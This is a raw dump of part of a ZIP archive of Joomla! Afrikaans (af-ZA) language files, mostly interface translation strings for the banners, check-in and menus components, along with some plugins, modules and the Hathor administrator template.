PLG_FINDER_QUERY_FILTER_BRANCH_S_REGION="Streek" PK@y>\Wb-language/af-ZA/af-ZA.plg_system_highlight.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_system_highlight.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="Stelsel inprop-program om spesifieke terme te beklemtoon." PLG_SYSTEM_HIGHLIGHT="Stelsel - Beklemtooning" PK@y>\mZ+language/af-ZA/af-ZA.plg_finder_content.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_content.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Slim Soek - Inhoud" PLG_FINDER_CONTENT_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Artikels." PLG_FINDER_QUERY_FILTER_BRANCH_P_ARTICLE="Artikels" PLG_FINDER_QUERY_FILTER_BRANCH_P_AUTHOR="Outeurs" PLG_FINDER_QUERY_FILTER_BRANCH_S_ARTICLE="Artikel" PLG_FINDER_QUERY_FILTER_BRANCH_S_AUTHOR="Outeur" PK@y>\022language/af-ZA/af-ZA.plg_finder_categories.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_categories.sys.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Slim Soektog - Kategorië" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Kategorië." PLG_FINDER_CATEGORIES_ERROR_ACTIVATING_PLUGIN="Kon nie die "_QQ_"Slim Soektog - Kategorië"_QQ_" inprop-program outomaties aktiveer nie" PLG_FINDER_CATEGORIES="Slim Soektog - Kategorië" PK@y>\0language/af-ZA/af-ZA.mod_multilangstatus.sys.ininuW+A; $Id: af-ZA.mod_multilangstatus.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multi-taal status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="Hierdie module vertoon die multi-taal parameters se status." PK@y>\6$language/af-ZA/af-ZA.com_checkin.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_checkin.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op : Alle ini lêërs moet as UTF-8 gestoor word ; ? Is Nagaan die beste vertaling vir Checkin? COM_CHECKIN_CONFIGURATION="Inteken Konfigurasie" COM_CHECKIN_DATABASE_TABLE="Database Tabel" COM_CHECKIN_FILTER_SEARCH_DESC="Soektog tabel" COM_CHECKIN_GLOBAL_CHECK_IN="Webwerf Onderhoud: Globale Inteken" COM_CHECKIN_ITEMS_TO_CHECK_IN="Items om in te teken" COM_CHECKIN_N_ITEMS_CHECKED_IN_0="Geen item ingeteken nie" COM_CHECKIN_N_ITEMS_CHECKED_IN_1="1 item ingeteken" COM_CHECKIN_N_ITEMS_CHECKED_IN_MORE="%s items ingeteken" COM_CHECKIN_TABLE="%s tabel" COM_CHECKIN_XML_DESCRIPTION="Inteken Komponent" COM_CHECKIN="Inteken" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie komponent toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die globale konfigurasie en die Ouer groep gebruik sal word.
              Gewyer beteken dat ongeag van die globale konfigurasie of Ouer groep instellings, die groep wat geredigeer word nie hierdie aksie op die komponent kan toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie komponent sal toepas (maar as dit in konflik met die globale konfigurasie of Ouer groep is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." PK@y>\*vv*language/af-ZA/af-ZA.mod_quickicon.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_quickicon.sys.ini 1709 2012-02-05 13:15:54Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_QUICKICON_LAYOUT_DEFAULT="Verstek" MOD_QUICKICON="Taak Ikone" MOD_QUICKICON_XML_DESCRIPTION="Hierdie module vertoon Quick-Ikone wat van die Beheer Paneel sigbaar is (admin area tuisblad)" PK@y>\P.language/af-ZA/af-ZA.plg_search_categories.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_search_categories.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_CATEGORIES="Soek in Kategorië" PLG_SEARCH_CATEGORIES_CATEGORIES="Kategorië" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_LABEL="Soektog Limiet" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Ontsper deursoek van Kategorie inligting" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Ontsper deursoek van Kategorie inligting" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_DESC="Aantal soektogresultaat items om te vertoon" PK@y>\=5=5$language/af-ZA/af-ZA.com_banners.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_banners.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_BANNERS_FIELD_TYPE_LABEL="Tipe" COM_BANNERS_FIELD_VALUE_1="Onbeperk" COM_BANNERS_FIELD_VALUE_2="Jaarliks" COM_BANNERS_FIELD_VALUE_3="Maandeliks" COM_BANNERS_FIELD_VALUE_4="Weekliks" COM_BANNERS_FIELD_VALUE_5="Daagliks" COM_BANNERS_FIELD_VALUE_CUSTOM="Pasgemaak" COM_BANNERS_FIELD_VALUE_IMAGE="Beeld" COM_BANNERS_FIELD_CLIENT_STATE_DESC="Defineer die staat van die kliënt" COM_BANNERS_FIELD_STATE_DESC="Defineer die staat van die banier" COM_BANNERS_FIELD_PUBLISH_DOWN_LABEL="Voltooi Publiseering" COM_BANNERS_FIELD_CLICKURL_LABEL="Kliek URL" COM_BANNERS_FIELD_CLIENT_LABEL="Kliënt" COM_BANNERS_TRACKS_EXPORT="Eksporteer" COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL="Meta Sleutelwoord Voorvoegsel" COM_BANNERS_FIELD_CLICKURL_LABEL="Kliek URL" COM_BANNERS_FIELD_CLIENT_LABEL="Kliënt" COM_BANNERS_FIELD_CLIENT_DESC="Kies 'n kliënt vir hierdie banier" COM_BANNERS_SUBMENU_TRACKS="Banier-Spore" COM_BANNERS_FIELD_STICKY_LABEL="Vas Plak" COM_BANNERS_GROUP_LABEL_PUBLISHING_DETAILS="Publiseer Opsies" COM_BANNERS_N_BANNERS_STUCK_1="%d banier suksesvol aangeplak." COM_BANNERS_FIELD_COMPRESSED_DESC="Saamgepersde Beskrywing" COM_BANNERS_FIELD_LANGUAGE_DESC="Wys 'n taal aan hierdie banier toe" COM_BANNERS_FIELD_COMPRESSED_LABEL="Saamgepers" COM_BANNERS_HEADING_STICKY="Vasgeplak" COM_BANNERS_N_BANNERS_STUCK="%d baniere suksesvol vasgeplak." COM_BANNERS_FIELD_CUSTOMCODE_DESC="Tik jou pasgemaakte kode vir die banier hier in" COM_BANNERS_FIELD_NAME_DESC="Tik 'n naam vir die banier" COM_BANNERS_FIELD_CLIENT_NAME_DESC="Tik 'n naam vir die kliënt" COM_BANNERS_N_BANNERS_UNSTUCK_1="%d banier suksesvol 'ontplak'." COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_LABEL="Kliënt Opsies" COM_BANNERS_FIELD_CUSTOMCODE_LABEL="Pasgemaakte Kode" COM_BANNERS_FIELD_CLICKS_DESC="Vertoon die aantal banier-klieke. Kliek op Herstel indien jy wil." COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC="Wanneer ons ooreenstemmende Meta-Sleutelwoorde het, soek alleenlik Meta Sleutelwoorde met hierdie voorvoegsel." COM_BANNERS_TRACKS_N_ITEMS_DELETED_1="%d spoor suksesvol geskrap" COM_BANNERS_TRACKS_N_ITEMS_DELETED="%d spore suksesvol geskrap" COM_BANNERS_FIELD_TYPE_DESC="Kies die tipe van banier. Kies die beeld om te vertoon, uit /images/banners/ lêergids, of kies Pasgemaak en tik jou pasgemaakte kode hier in." COM_BANNERS_FIELD_CONTACT_DESC="Tik die Naam van 'n gebruiker as kontak" COM_BANNERS="Baniere" COM_BANNERS_BANNER_DETAILS="Gegewens" COM_BANNERS_BANNER_SAVE_SUCCESS="Banier suksesvol gestoor" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED="%d baniere suksesvol geargifeer" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED_1="%d banier suksesvol geargifeer" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_0="Geen baniere suksesvol ingeteken nie" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_1="%d baniere suksesvol ingeteken" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_MORE="%d baniere suksesvol ingeteken" COM_BANNERS_BANNERS_N_ITEMS_DELETED="%d baniere suksesvol geskrap" COM_BANNERS_BANNERS_N_ITEMS_DELETED_1="%d baniere suksesvol geskrap" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED="%d baniere suksesvol gepubliseer" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED_1="%d baniere suksesvol gepubliseer" COM_BANNERS_BANNERS_N_ITEMS_TRASHED="%d baniere suksesvol purgeer" COM_BANNERS_BANNERS_N_ITEMS_TRASHED_1="%d baniere suksesvol purgeer" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED="%d baniere suksesvol ontpubliseer" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED_1="%d baniere suksesvol ontpubliseer" COM_BANNERS_BANNERS_NO_ITEM_SELECTED="Geen Baniere gekies nie" COM_BANNERS_BEGIN_LABEL="Begin datum:" COM_BANNERS_CANCEL="Kanseleer" COM_BANNERS_CLICK="Kliek" COM_BANNERS_CLIENT_SAVE_SUCCESS="Kliënt suksesvol gestoor" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED="%d kliënte suksesvol geargiveer" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED_1="%d kliënt suksesvol geargiveer" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_0="Geen kliënt suksesvol ingeteken nie" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_1="%d kliënt suksesvol ingeteken" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_MORE="%d kliënte suksesvol ingeteken" COM_BANNERS_CLIENTS_N_ITEMS_DELETED="%d kliënte suksesvol geskrap" COM_BANNERS_CLIENTS_N_ITEMS_DELETED_1="%d kliënt suksesvol geskrap" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED="%d kliënte suksesvol publiseer" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED_1="%d kliënt suksesvol publiseer" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED="%d kliënte suksesvol gepurgeer" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED_1="%d kliënt suksesvol gepurgeer" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED="%d kliënte suksesvol unpubliseer" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED_1="%d kliënt suksesvol unpubliseer" COM_BANNERS_CLIENTS_NO_ITEM_SELECTED="Geen kliënte gekies nie" COM_BANNERS_END_LABEL="Eind datum:" COM_BANNERS_HEADING_CLICKS="Klieke" COM_BANNERS_HEADING_CLIENT="Kliënt" COM_BANNERS_HEADING_CONTACT="Kontak" COM_BANNERS_NO_CLIENT="- Geen kliënt nie -" COM_BANNERS_NOCLIENTNAME="Geen kliënt nie" COM_BANNERS_NO_CLIENTS_SELECTED="Geen kliënte gekies nie" COM_BANNERS_TYPE2="Klieke" COM_BANNERS_DEFAULT="Verstek (%s)" COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT="-- Gebruik Kliënt Verstek --" COM_BANNERS_FIELD_VALUE_USECOMPONENTDEFAULT="-- Gebruik Komponent Verstek --" COM_BANNERS_CONFIGURATION="Banier Bestuurder Opsies" COM_BANNERS_EDIT_BANNER="Redigeer Banier" COM_BANNERS_EDIT_CLIENT="Besonderhede" COM_BANNERS_IMPRESSIONS="%1 van %2" COM_BANNERS_MANAGER="Banier Bestuurder" COM_BANNERS_MANAGER_BANNER_EDIT="Banier Bestuurder: Redigeer Banier" COM_BANNERS_MANAGER_BANNER_NEW="Banier Bestuurder: Nuwe Banier" COM_BANNERS_MANAGER_BANNERS="Banier Bestuurder: Baniere" COM_BANNERS_MANAGER_CLIENT_EDIT="Banier Bestuurder: Redigeer Kliënt" COM_BANNERS_MANAGER_CLIENT_NEW="Banier Bestuurder: Nuwe Kliënt" COM_BANNERS_NEW_BANNER="Nuwe Banier" COM_BANNERS_NEW_CLIENT="Nuwe Kliënt" COM_BANNERS_HEADING_TYPE="Tipe" COM_BANNERS_SELECT_CLIENT="- Kies Kliënt -" COM_BANNERS_SELECT_TYPE="- Tipe -" COM_BANNERS_SUBMENU_BANNERS="Baniere" COM_BANNERS_SUBMENU_CLIENTS="Kliënte" COM_BANNERS_MANAGER_CLIENTS="Banier Bestuurder: Kliënte" COM_BANNERS_SUBMENU_CATEGORIES="Kategorië" COM_BANNERS_FIELD_CLICKS_LABEL="Totale aantal Klieke" COM_BANNERS_HEADING_NAME="Naam" COM_BANNERS_UNLIMITED="Onbeperk" COM_BANNERS_TYPE1="Indrukke" COM_BANNERS_FIELD_IMAGE_LABEL="Beeld" COM_BANNERS_FIELD_NAME_LABEL="Naam" COM_BANNERS_FIELD_CONTACT_LABEL="Kontak Naam" COM_BANNERS_FIELD_EMAIL_LABEL="Kontak e-posadres" COM_BANNERS_HEADING_COUNT="Aantal" COM_BANNERS_HEADING_ACTIVE="Aktief" COM_BANNERS_FIELD_WIDTH_LABEL="Breedte" COM_BANNERS_METADATA="Metadata" COM_BANNERS_IMPRESSION="Indrukke" COM_BANNERS_HEADING_IMPRESSIONS="Indrukke" COM_BANNERS_FIELD_IMPMADE_LABEL="Totale Indrukke" COM_BANNERS_FIELD_IMPTOTAL_LABEL="Maks. Indrukke" COM_BANNERS_FIELD_HEIGHT_LABEL="Hoogte" COM_BANNERS_RESET_IMPMADE="Herstel indrukke" COM_BANNERS_HEADING_METAKEYWORDS="Meta Sleutelwoorde" COM_BANNERS_RESET_CLICKS="Herstel klieke" COM_BANNERS_SEARCH_IN_TITLE="Soek in titel" COM_BANNERS_EXTRA="Verdere Inligting" COM_BANNERS_FIELD_EXTRAINFO_LABEL="Verdere Inligting" COM_BANNERS_XML_DESCRIPTION="Hierdie komponent bestuur baniere en banier kliënte" COM_BANNERS_N_BANNERS_UNSTUCK="%d banier suksesvol 'ontplak'." COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE="Zip aanpasser gefaal" COM_BANNERS_ERR_ZIP_CREATE_FAILURE="Zip skepping gefaal" COM_BANNERS_ERR_ZIP_DELETE_FAILURE="Zip skrap gefaal" COM_BANNERS_FIELD_ALT_LABEL="Alternatiewe Teks" COM_BANNERS_FIELD_PUBLISH_UP_LABEL="Begin Publiseer" COM_BANNERS_FIELD_CLIENT_NAME_LABEL="Kliënt Naam" COM_BANNERS_FIELD_CLIENT_METAKEYWORDS_DESC="Tik hier die meta sleutelwoorde in vir die kliënt se baniere" COM_BANNERS_FIELD_CREATED_LABEL="Skeppings-datum" COM_BANNERS_FIELD_HEIGHT_DESC="Die hoogte van die banier" COM_BANNERS_FIELD_ALT_DESC="Alternatiewe teks vir die banier beeld.." COM_BANNERS_FIELD_BANNEROWNPREFIX_DESC="Gebruik eie voorvoegsel of die kliënt voorvoegsel" COM_BANNERS_FIELD_CLIENTOWNPREFIX_LABEL="Gebruik Eie Voorvoegsel" COM_BANNERS_FIELD_CREATED_DESC="Banier skeppings-datum" COM_BANNERS_FIELD_DESCRIPTION_DESC="Tik in 'n beskrywing vir die banier" COM_BANNERS_FIELD_EMAIL_DESC="Tik in 'n geldige Kontak e-posadres" COM_BANNERS_FIELD_EXTRAINFO_DESC="Tik ekstra inligting in vir hierdie kliënt." COM_BANNERS_FIELD_PUBLISH_UP_DESC="'n Optionele datum om die banier te Begin Publiseer ." COM_BANNERS_FIELD_ALIAS_DESC="Jy kan enter hier 'n alias intik. Los hierdie blanko en Joomla! sal 'n verstek waarde van die Naam verskak." COM_BANNERS_FIELD_BANNEROWNPREFIX_LABEL="Gebruik Eie Voorvoegsel" COM_BANNERS_FIELD_BASENAME_DESC="Lêernaam patroon wat die volgende kan bevat:
              __SITE__ vir die werf naam
              __CATID__ vir die kategorie ID
              __CATNAME__ for the kategory naam
              __CLIENTID__ vir die kliënt ID
              __CLIENTNAME__ vir die kliënt naame
              __TYPE__ vir die tipe
              __TYPENAME__ vir die tipe naam
              __BEGIN__ vir die begin datum
              __END__ vir die eind datum" COM_BANNERS_FIELD_BASENAME_LABEL="Lêername" COM_BANNERS_FIELD_CATEGORY_DESC="Kies 'n kategorie vir hierdie banier" COM_BANNERS_FIELD_CLICKURL_DESC="Die URL wat gebruik is toe op die banier gekliek is." COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_DESC="Wanneer Meta-Sleutelwoorde met mekaar vergelyk word, soek slegs na Meta-Sleutelwoorde met hierdie voorvoegsel." COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_LABEL="Meta-sleutelwoord Voorvoegsel" COM_BANNERS_FIELD_CLIENTOWNPREFIX_DESC="Gebruik eie voorvoegsel van die Komponent Voorvoegsel" COM_BANNERS_FIELD_IMAGE_DESC="Kies 'n prentjie vir hierdie banier. Beelde moet in die /images/banners/ lêergids wees." COM_BANNERS_FIELD_IMPMADE_DESC="Vertoon die aantal indrukke / ontrekkings wat die banier al gemaak het." COM_BANNERS_FIELD_IMPTOTAL_DESC="Totale limiet van indrukke defineer vir die banier." COM_BANNERS_FIELD_METAKEYWORDS_DESC="Tik hier in die meta-sleutelwoorde vir die banier" COM_BANNERS_FIELD_PUBLISH_DOWN_DESC="'n Optionele datum om die Publiseer van die banier te beëindig." COM_BANNERS_FIELD_WIDTH_DESC="Die breedte van die banier" COM_BANNERS_NO_BANNERS_SELECTED="Geen baniere gekies nie" COM_BANNERS_NOCATEGORYNAME="Geen kategorie nie" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie komponent toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die globale konfigurasie en die Ouer groep gebruik sal word.
              Gewyer beteken dat ongeag van die globale konfigurasie of Ouer groep instellings, die groep wat geredigeer word nie hierdie aksie op die komponent kan toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie komponent sal toepas (maar as dit in konflik met die globale konfigurasie of Ouer groep is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_BANNERS_FIELD_TRACKIMPRESSION_DESC="Hou rekord van die banier-indrukke (ontrekkings) op 'n daaglikse basis." COM_BANNERS_FILENAME="%1-banners-tracks-%2" COM_BANNERS_FIELD_PURCHASETYPE_LABEL="Koop Tipe" COM_BANNERS_FIELD_PURCHASETYPE_DESC="Kies die koop-tipe uit die lys." COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_DESC="Hierdie instellings geld vir alle kliënte behalwe as hulle vir 'n spesifieke kliënt gewysig is." COM_BANNERS_DELETE_MSG="Is jy seker dat jy al hierdie spore wil skrap?" COM_BANNERS_HEADING_PURCHASETYPE="Koop Tipe" COM_BANNERS_MANAGER_TRACKS="Banier Bestuurder: Spoor-Hou" COM_BANNERS_FIELD_STICKY_DESC="Ongeag of die Banier 'plakkerig' is of nie. Indien een of meer Baniere in 'n Kategorie plakkerig is, sal hulle oor dié Baniere geprioritiseer word wat nie plakkerig is nie. By voorbeeld, as twee Baniere in 'n Kategorie plakkerig is en 'n derde Banier nie plakkerig is nie, sal die derde Banier nie vertoon word nie as die module-instelling 'Plakkerig, Willekeurig' is. Slegs die twee plakkerige Baniere sal vertoon word." COM_BANNERS_FIELD_TRACKCLICK_DESC="Hou rekord van die aantal banier-klieke op 'n daaglikse basis." COM_BANNERS_FIELD_TRACKCLICK_LABEL="Hou spoor van Klieke" COM_BANNERS_TRACKS_DELETE="Skrap Spore" COM_BANNERS_TRACKS_DOWNLOAD="Laai Spore af" COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL="Indrukke Spoor-hou" COM_BANNERS_ERROR_UNIQUE_ALIAS="'n Ander Bannier in hierdie kategorie het diesselfde alias" COM_BANNERS_BATCH_CLIENT_LABEL="Stel Kliënt" COM_BANNERS_BATCH_CLIENT_NOCHANGE="- Behou oorspronklike Kliënt -" COM_BANNERS_BATCH_CLIENT_LABEL_DESC="Deur nie 'n keuse te maak nie, sal die oorspronklike kliënt gedurende verwerking behou word." COM_BANNERS_BATCH_OPTIONS="Bondelproses die gekose baniere" COM_BANNERS_BATCH_TIP="Indien jy kies om 'n banier te kopieer, sal enige ander gekose aksies ook op die gekopieerde banier toegepas word." COM_BANNERS_BANNERS_HTML_PIN_BANNER="Vasgesteekte banier" COM_BANNERS_BANNERS_HTML_UNPIN_BANNER="Losgesteekte banier" COM_BANNERS_BANNERS_PINNED="Vasgesteekte banie" COM_BANNERS_BANNERS_UNPINNED="Losgesteekte banier" PK@y>\~(language/af-ZA/af-ZA.com_checkin.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_checkin.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CHECKIN="Inteken" COM_CHECKIN_XML_DESCRIPTION="Inteken Komponent" PK@y>\I#T\)language/af-ZA/af-ZA.plg_editors_none.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_editors_none.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS_NONE="Redigeerder - Geen" PLG_NONE_XML_DESCRIPTION="Hierdie laai 'n basiese teks invoer veld." PK@y>\<ד#language/af-ZA/af-ZA.tpl_hathor.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.tpl_hathor.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word HATHOR="Hathor Administrateur templet" TPL_HATHOR_COLOUR_CHOICE_STANDARD="Standaard" TPL_HATHOR_SUB_MENU="Sub Menu" TPL_HATHOR_COLOUR_CHOICE_LABEL="Kies Kleur" TPL_HATHOR_COM_MENUS_MENU="Menu" TPL_HATHOR_MAIN_MENU="Hoof Menu" TPL_HATHOR_GO="Gaan" TPL_HATHOR_COLOUR_CHOICE_BROWN="Bruin" TPL_HATHOR_SKIP_TO_MAIN_CONTENT="Spring na die Hoof Inhoud" TPL_HATHOR_ALTERNATE_MENU_LABEL="Alternatiewe Menu" TPL_HATHOR_ALTERNATE_MENU_LABEL="Alternatiewe Menu" TPL_HATHOR_SHOW_SITE_NAME_LABEL="Vertoon Webwerf Naam" TPL_HATHOR_COLOUR_CHOICE_HIGH_CONTRAST="Hoë Kontras" TPL_HATHOR_BOLD_TEXT_LABEL="Vet Teks" TPL_HATHOR_BOLD_TEXT_DESC="Gebruik vet teks" TPL_HATHOR_GO="Gaan" TPL_HATHOR_COM_MODULES_CUSTOM_POSITION_LABEL="Kies" TPL_HATHOR_COLOUR_CHOICE_BLUE="Blou" TPL_HATHOR_CPANEL_LINK_TEXT="Keer terug na Beheer Paneel" TPL_HATHOR_XML_DESCRIPTION="Hathor is 'n toeganklike administrateur templet vir Joomla! 1.6. Die kleur CSS lêers kan ook gebruik word vir pasgemaakte kleur skema's." TPL_HATHOR_SHOW_SITE_NAME_DESC="Vertoon die werf naam in die templet se hoofskrif" TPL_HATHOR_ALTERNATE_MENU_DESC="Gebruik die alternatiewe menu wat muis en sleutelbord integreer. JavaScript is Vereis. (Die gewone menu vir Hathor is toeganklik met of sonder JavaScript, but laat die muis en sleuterbord onafhanklik van mekaar)" TPL_HATHOR_COLOUR_CHOICE_DESC="Kies die kleur palet om met die templet te gebruik. Jy kan hierdie opsie gebruik om 'n hoë kontras versie te skep, of om 'n pasgemaakte goederemerk te skep." PK@y>\N9494"language/af-ZA/af-ZA.com_menus.ininuW+A; Afrikaanse Vertaling http://joomlacode.ofg/gf/project/afrikaans_taal ; $Id: af-ZA.com_menus.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.ofg/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Kan nie die gepubliseer staat verander wanneer die ouer-menu item in 'n laer staat is." JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie komponent toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die globale konfigurasie en die Ouer groep gebruik sal word.
              Gewyer beteken dat ongeag van die globale konfigurasie of Ouer groep instellings, die groep wat geredigeer word nie hierdie aksie op die komponent kan toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie komponent sal toepas (maar as dit in konflik met die globale konfigurasie of Ouer groep is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_MENUS_HEADING_ASSIGN_MODULE="Module" COM_MENUS_HEADING_DISPLAY="Vertoon" COM_MENUS_FIELD_VALUE_IGNORE="Ignoreer" COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL="Menu Item" COM_MENUS_ITEM_FIELD_PARENT_DESC="Kies 'n Ouer Item" COM_MENUS_ITEM_FIELD_TITLE_LABEL="Menu Titel" COM_MENUS_ITEM_FIELD_TEMPLATE_LABEL="Templet Styl" COM_MENUS_ITEM_FIELD_TYPE_LABEL="Menu Item Tipe" COM_MENUS_ITEM_IS_DEFAULT="Is die verstek" COM_MENUS_ITEM_ROOT="Menu Item Wortel" COM_MENUS_MENU_DETAILS="Menu Details" COM_MENUS_MENU_ITEM_SAVE_SUCCESS="Menu item suksesvol gestoor" COM_MENUS_MENU_MENUTYPE_DESC="Die stelsel naam van die menu." COM_MENUS_MENU_MENUTYPE_LABEL="Menu tipe" COM_MENUS_MENU_SAVE_SUCCESS="Menu suksesvol gestoor" COM_MENUS_MODULE_SHOW_VARIES="Variëer" COM_MENUS_N_ITEMS_CHECKED_IN_0="Geen menu item suksesvol ingeteken nie" COM_MENUS_N_ITEMS_CHECKED_IN_1="%d menu item suksesvol ingeteken" 